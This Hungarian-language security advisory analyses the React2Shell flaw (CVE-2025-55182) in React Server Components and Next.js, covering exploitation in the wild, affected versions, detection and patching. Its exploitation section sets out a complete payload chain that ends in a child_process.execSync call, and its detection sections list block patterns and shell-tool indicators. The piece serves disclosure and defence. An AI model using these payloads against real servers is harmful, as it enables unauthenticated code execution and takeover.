KRITIKUS BIZTONSÁGI RÉS: A React2Shell (CVE-2025-55182)

A React Server Components (RSC) architektúrájában felfedezett CVE-2025-55182 (vagy közismert nevén React2Shell vagy React4Shell) egy maximális súlyosságú (CVSS 10.0), nem hitelesített (unauthenticated) távoli kódfuttatási (RCE) sebezhetőség.

A React Server Components (RSC) architektúrájában felfedezett CVE-2025-55182 (vagy közismert nevén React2Shell vagy React4Shell) egy maximális súlyosságú (CVSS 10.0), nem hitelesített (unauthenticated) távoli kódfuttatási (RCE) sebezhetőség. A sérülékenység kritikus, mivel lehetővé teszi a támadó számára, hogy egyetlen, speciálisan szerkesztett HTTP kéréssel teljes szerveroldali kódfuttatást érjen el. A sérülékenység gyökere a React Flight protokoll nem biztonságos deszerializációja: egyetlen, speciálisan összeállított payload elegendő ahhoz, hogy a támadó teljes értékű szerveroldali RCE-t érjen el. Ezzel párhuzamosan a Next.js integrációs hiba (CVE-2025-66478) ugyanezt a kockázatot követi le az App Router és az RSC stack felől.

A helyzetet különösen súlyossá teszi, hogy a modern React SSR / Next.js App Router rendszerek túlnyomó része alapértelmezett konfigurációval is sérülékeny. Az RSC és a Server Actions felülete sok esetben úgy érhető el kívülről, hogy a fejlesztőcsapat nincs is tisztában a kitettséggel. A PoC-ek alapján az exploit-lánc triviálisan triggerelhető minden nem patch-elt végponton.

Aktuális fenyegetettségi helyzetkép

A december 3-i disclosure után az npm‑ökoszisztéma órák alatt kaotikus állapotba került. Az első, hitelesítést nem igénylő távoli kódfuttatást lehetővé tevő PoC‑ek még aznap este megjelentek, majd néhány órán belül több tucat klón és módosított exploit került fel GitHubra.

A nagy CDN‑szolgáltatók (pl. Fastly) éles forgalmi anomáliákat mértek, az AWS threat intelligence kínai APT‑aktivitást azonosított, a CISA pedig villámgyorsan „actively exploited" státuszba sorolta a sérülékenységet.

Fastly forgalmi anomáliák

Forrás: Fastly Blog

A következő 24 órában a felhős RSC‑végpontokat (AWS, GCP, Vercel) botnet‑szerű infrastruktúrák kezdték pásztázni, és a React2Shell exploit‑láncot használva perceken belül automatizáltan vették át a hostok feletti kontrollt. Egy honeypot mindössze 6 perc alatt esett el: a támadó betöltötte a rosszindulatú chunk‑struktúrát, a thenable‑alapú primitiv segítségével távoli kódfuttatást ért el, majd RAM‑ból futtatta a Mirai‑eredetű „xmreow" kriptobányászt, amely önmagát törölte a diszkről, tisztán memóriában futva.

Ez a működésmód pontosan tükrözi a jelenlegi mintázatokat: a sérülékenység initial access pont, amelyet azonnali poszt‑exploitation lépések követnek.

A kompromittáció után

A telemetria alapján nem egyetlen szereplő aktív, hanem egy komplett, opportunista fenyegetési ökoszisztéma épült rá a CVE‑2025‑55182-re. A hostokra különféle célú implantok, C2‑beaconök és miner‑variánsok kerülnek, automatizált döntés alapján.

Leggyakoribb komponensek:

  • Emerald/Nuts botnetek – Mirai‑variánsok kriptobányászattal és agresszív felhőszkenneléssel.
  • Cobalt Strike / CrossC2 – klasszikus C2 beépülés AI‑generált shellkóddal, systemd‑szolgáltatásként elrejtve.
  • Nezha – titkosítatlan, rejtetten telepített monitoring implant felderítéshez.
  • Secret‑Hunter – fejlett poszt‑exploitation toolkit: Cloudflare Tunnels megkerülése, majd TruffleHog/Gitleaks futtatása fájlrendszeren, Git repókon, konténereken és S3‑on.
  • Sliver – perzisztencia cron‑nal, gyakran cryptominerrel kombinálva.
  • EtherRAT / Noodle RAT – APT‑szintű távoli vezérlő komponensek.
  • BPFDoor – rendkívül rejtett Linux backdoor BPF‑szintű forgalommegfigyeléssel.

Fejlettebb kampányok további speciális backdoorokat is telepítenek:

  • PeerBlight – BitTorrent DHT‑alapú C2, AES‑256/RSA titkosítással, [ksoftirqd] név mögé bújva.
  • CowTunnel – reverse‑proxy implant (FRP, SOCKS5, HTTP) belső hálózatok távoli eléréséhez.
  • ZinFoq – erősen obfuszkált Go‑payload timestompinggel és interaktív shelllel, legitim szolgáltatásnak álcázva.

A React2Shell tehát nem csupán a kriptobányászoknak kedvez; komplett kompromittációs lánc épülhet ki: initial access C2 kapcsolat kiépítéséhez, oldalirányú mozgás, adatlopás és backdoor‑telepítés. A patcheletlen RSC/Next.js rendszerek jelenleg percek alatt eshetnek át teljes kompromittáción.

A mintázat kísértetiesen hasonlít a Log4J sérülékenység kapcsán látottakra: disclosure → PoC → PoC-hullám → tömeges internetes szkennelés → aktív támadások. S mindez nagyjából 24 órán belül lezajlott.

Mit jelent mindez a gyakorlatban?

Ha a rendszered bármilyen ponton használ React RSC-t, a Flight protokollt, Next.js App Routert, streaminget vagy Server Action végpontokat, ezt azonnali incidensként kezeld:

  • haladéktalanul frissíts (React RSC/Next.js érintett csomagok)
  • ellenőrizd, hogy a javított build ténylegesen ki is került élesbe (a „merge" önmagában nem garancia)
  • térképezd fel, mi érhető el kívülről, és nézd át a logokat kompromittáció nyomai után

A tömeges támadások elsődleges célpontjai azok a Next.js alkalmazások, amelyek alapértelmezett beállításokkal futnak, és így akaratlanul is elérhetővé teszik a Flight-dekódolási felületet – gyakran anélkül, hogy a fejlesztők tudnák, hogy ilyen endpoint egyáltalán létezik.

Érintett verziók

React Server Components

Érintett csomagok:

  • react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-parcel: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-turbopack: 19.0.0, 19.1.0, 19.1.1, 19.2.0

Javított verziók: 19.0.1, 19.1.2, 19.2.1

Next.js (App Router)

Érintett verziók:

  • 14.3.0 pre-release verziók: 14.3.0-(pre-release).77 és későbbiek
  • 15.x és 16.x (különösen 14.3.0‑canary.77-től felfelé)

Javított Next.js-verziók: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7

A sérülékenység közvetlenül a React Flight protokollt használó csomagokat érinti, vagyis minden olyan rendszert, amely a React 19‑es ökoszisztéma szerveroldali komponenseire (RSC) épít. A teendő ezeknél: frissítés a keretrendszer legújabb, biztonsági javítással ellátott verziójára.

Technikai deep-dive

A React Server Functions és a mögöttük lévő React Flight Protocol szerializációja chunkokra (adatcsomagra) épít. A kliens egyszerű text formátumú chunkokat küld, amelyek hivatkozhatnak egymásra. A szervernek aztán vissza kell állítania összetett objektumstruktúrákat, akár többszintű referenciákkal. A probléma ott kezdődik, hogy a referenciák feloldásakor a React egyáltalán nem ellenőrzi, hogy a kért kulcs az objektum saját tulajdonsága-e.

Ha egy chunk egy másik chunkból egy nem létező property-t kér, a React szépen végigsétál a JavaScript prototípus-láncon, és eljut egészen az Object.prototype-ig — ez a hiba konkrétan a reviveModel egy funkciójában, a ReactFlightReplyServer.js-ben található, ahol a keretrendszer egy kliens által küldött value.hasOwnProperty(i)-t hív meg, így a támadó ezt shadowinggal felül tudja írni és megkerüli a kulcs-ellenőrzést. Innen a feloldás könnyen elirányítható a globális objektumláncra, majd a constructor.constructor-ra, vagyis a Function konstruktorra.

A problémát tovább súlyosbítja az, hogy a szerveroldali visszafejtés során a Next.js a legelső, 0-ás chunkot mindig await alá teszi. Ha ez az objektum tartalmaz egy then kulcsot, a JavaScript thenable-szabályai miatt a rendszer automatikusan úgy kezeli, mintha Promise lenne, és lefuttatja a then(resolve, reject) metódusát – külön ellenőrzés vagy sandbox nélkül.

Egy sima { then: <tetszőleges érték> } így már elég ahhoz, hogy a deszerializáció folyamata közben kódvégrehajtás menjen végbe.

A sérülékenység valódi ereje tehát abból jön, hogy a hibás kulcs-ellenőrzés miatt a chunk-feloldás során elérhetővé válik a Function konstruktor, amihez normál esetben nem lehetne hozzáférni. Ha a támadó ezt beépíti a then mezőbe, akkor a futtatott thenable már tetszőleges JavaScript-kódot végrehajt — azelőtt, hogy a Next.js egyáltalán validálná, melyik Server Action végpontot hívták meg.

Az exploitáció

A fentiek alapján már értjük, hogy a prototípus-lánc bejárása miatt a támadó közvetlenül el tudja érni a Function konstruktort, és ez lehetővé teszi, hogy a deszerializáció során tetszőleges JS kód generálódjon. A kérdés innentől az hogy hogyan lehet elérni azt, hogy ez a kód meg is legyen hívva?

Vegyük az alábbi payload-ot:

files = {
      "0": (None, '["$1:__proto__:constructor:constructor"]'),
      "1": (None, '{"x":1}'),
  }

A fenti chunk a szerveroldalon (egy referencia-láncon keresztül) a Function konstruktorra deszerializálódik. Itt még nem történik kódfuttatás, de már megvan a kulcs: a React a szerveroldali modell-visszaállítás közben figyelmen kívül hagyja a prototype-határokat, és a bejövő adatból egyenesen a JavaScript beépített konstruktoraihoz engedi a támadót.

Innét a következő kritikus tényező az, hogy a React minden olyan objektumot, amely rendelkezik then property-vel, automatikusan thenable-ként kezel. Ez azt jelenti, hogy a deszerializációs folyamatban - még mielőtt a szerver bármihez hozzányúlna - a React lefuttatja az adott objektum .then() függvényét. A Next.js-ben ez a decodeReplyFromBusboy visszatérési értékét érinti, amit a keretrendszer await-el hív meg. A támadó tehát egyszerűen visszaadhat egy olyan objektumot, ahol a then mező nem egy függvény, hanem egy referencia a Function konstruktorhoz, például így:

files = {
      "0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
      "1": (None, '{"x":1}'),
  }

Ez önmagában ugyan még szintaktikai hibát eredményez, mert a V8 a thenable-t két natív függvénnyel hívja (resolve, reject), amelyek stringgé alakítva belezavarnak a Function konstruktor működésébe, de a lényeg már látszik: a szerveroldalon egy kliens által küldött form-data elem .then() függvényként kerül meghívásra.

Ezen előző limitációt a React Flight chunkjainak manipulációjával lehet megkerülni, mégpedig úgy, hogy a chunk saját .then() metódusa végül a React Chunk.prototype.then függvénye lesz. Ehhez használható a Flight protokoll $@ prefixe, amely nyers chunkreferenciát ad vissza - vagyis nem a feloldott objektumot, hanem a chunk belső reprezentációját. A támadó így saját chunkját visszahivatkoztathatja önmagára, és közben átállíthatja a .then mezőt:

files = {
      "0": (None, '{"then": "$1:__proto__:then"}'),
      "1": (None, '"$@0"'),
  }

A chunk saját .then() értéke tehát átíródik a Chunk.prototype.then-re, amelyet normál esetben a React használ a modell-feldolgozásra. Így elértük, hogy a deszerializációs lánc egy pontján a React a saját belső thenable-motorját futtassa le egy teljesen kontrollált objektumon.

A következő kritikus feltétel a chunk státusza. Ha a támadó a chunkját status: "resolved_model" mezővel látja el, a React azt hiszi, hogy egy teljesen valid modellrész érkezett, és továbblép a modell-inicializálásba:

files = {
      "0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
      "1": (None, '"$@0"'),
  }

Az initializeModelChunk újabb JSON-parszolást végez, majd egy második reviveModel fut le, méghozzá egy jelentősen bővebb kontextusban, ahol a támadó további referenciákat is becsatornázhat.

Ebben a környezetben található az egyik legerősebb kódfuttatási eszköz, a Flight $B prefix kezelése, amely bináris/blob adatot kér le:

response._formData.get(response._prefix + obj)

Sem response, sem _formData, sem _prefix nincs validálva. Ezeket a támadó teljesen tetszőleges objektummal töltheti fel. Ha _formData.get a Function konstruktorra mutat, akkor a szerializáció közben a React konkrétan a következőt fogja meghívni:

Function("<támadó által megadott kód>")

Állítsuk be a hamisított chunk _response mezőjét:

crafted_chunk = {
      "then": "$1:__proto__:then",
      "status": "resolved_model",
      "reason": -1,
      "value": '{"then": "$B0"}',
      "_response": {
          "_prefix": "process.mainModule.require('child_process').execSync('calc');",
          "_formData": {
              "get": "$1:constructor:constructor"
          }
      }
  }

A $B0 miatt a React blobként kér le egy mezőt, ami azonnal a fenti hívássá áll össze:

Function("process.mainModule.require('child_process').execSync('calc'); // 0")

A parseModelString ezt a függvényt adja vissza a chunk új .then() értékeként, a Next.js pedig automatikusan awaiteli — vagyis lefuttatja.

Ezzel megvan a teljes lánc: prototípus-escaping → Function konstruktor → thenable-átvétel → önhivatkozó chunk → belső thenable → $B gadget → RCE.

Detektálás és mitigáció

A React2Shell incidensek kezelése “teljes értékű” incident response-ot igényel, mert a sérülékenység kihasználása hitelesítést nem igénylő távoli kódfuttatáshoz vezet.

A védekezés első lépése az érintett szerverek azonnali izolálása, a naplók begyűjtése és minden titok (API-kulcsok, tokenek, felhőhozzáférések) azonnali rotálása.

A fertőzött környezet tisztogatása önmagában nem elegendő: a biztonságos helyreállítás egy ismerten tiszta, ellenőrzött image-ből történő újjáépítést igényel.

Ahogy a hivatalos React blogbejegyzés is említi, a sebezhetőség végleges megszüntetésének egyetlen módja a frissítés a gyártó által kiadott javított verziókra. Ez nem ajánlás, hanem kötelező lépés: minden más mitigáció csak átmeneti. Node-alapú környezetekben minimális kiegészítő védelmet jelenthet a futásidejű viselkedésfigyelés, de a támadások sebessége miatt a reakcióidő kritikus.

További védelmi stratégiák:

  • WAF-szűrés: ideiglenes vagy kiegészítő védelemként érdemes aktiválni a React2Shell-hez kiadott gyártói szabályokat (Cloudflare, Google Cloud Armor, Vercel). A cél az olyan payload-elemek blokkolása, mint:
    $@0, $@ chunk hivatkozások, resolved_model, constructor:constructor, _formData.get, illetve kódfuttatási primitívek (execSync, Function(, child_process).
  • Edge Runtime megfontolása: érzékeny végpontoknál csökkenti az RCE-felületet, mivel nem tartalmaz Node.js API-kat.
  • Server Action audit: minden RSC/Server Action végpontot auditálni kell, és kötelező a rate limiting alkalmazása.

Kompromittálódás tipikus jelei

React2Shell-incidenseknél több, jól körülhatárolható anomália jelenik meg:

  • HTTP-réteg. WAF/LB logokban markáns jel az ismeretlen forrású Next-Action fejlécek felbukkanása. Ezek a Server Action endpointok nem várt, külső meghívását jelzik, és normál üzemben gyakorlatilag nem fordulnak elő.
  • Payload-szint. A kérés törzsében a Flight-lánc manipulatív mintái jelennek meg: $@0, $@1, resolved_model, constructor:constructor, _formData.get. Ezek egyértelmű indikátorai annak, hogy a támadó a React Flight deszerializációját próbálja kilőni.
  • Kódfuttatási primitívek. Sikeres láncfűzés után rendszerint előkerülnek a Node-szintű RCE-primitívek: execSync, Function(), child_process. Ha ezek naplóban, stacktrace-ben vagy telemetry-ben látszanak, akkor a támadó már túljutott a protokollszintű bypasson.
  • Folyamatfa. A node vagy next-server folyamat alól váratlan shell-spawn (/bin/sh), illetve hálózati kliensek (curl, wget, nc) indítása klasszikus interaktív RCE-minta. Ez már egyértelmű poszt-exploitation.
  • Fájlrendszer-artefaktumok. Gyanús fájlok vagy dropperek jelenhetnek meg a tipikus ideiglenes vagy build-pathekben: .next/, node_modules/.bin/, /tmp, /var/tmp. Ezek jellemzően perzisztencia-kísérlet vagy további payload-letöltés lenyomatai.

A javítás technikai részletei

A végleges patch lényege a deszerializációs primitív keményítése. A rendszer modul‑betöltéskor cache‑eli a hasOwnProperty referenciát, majd a deszerializáció során mindenhol a hasOwnProperty.call(value, key) hívást alkalmazza. Ez explicit módon megkerüli a nem megbízható objektumokon végzett tulajdonságkeresést, lezárva azt az útvonalat, amelyen keresztül a támadók a prototípus‑láncot manipulálták. A javítás ezen felül explicit védelmet vezet be a __proto__ tulajdonság kezelésére is.

Záró gondolatok

A React2Shell tipikus példája annak, amikor nincs idő filozofálni: ezt patchelni kell, amint lehetséges. A tanulság egyszerű: a fejlesztési sebesség nem írhatja felül a biztonsági keretrendszer fegyelmét. Ha a pipeline nem állítja meg az ilyen hibákat, akkor majd a támadó állítja meg a rendszert helyettünk – sokkal drágábban.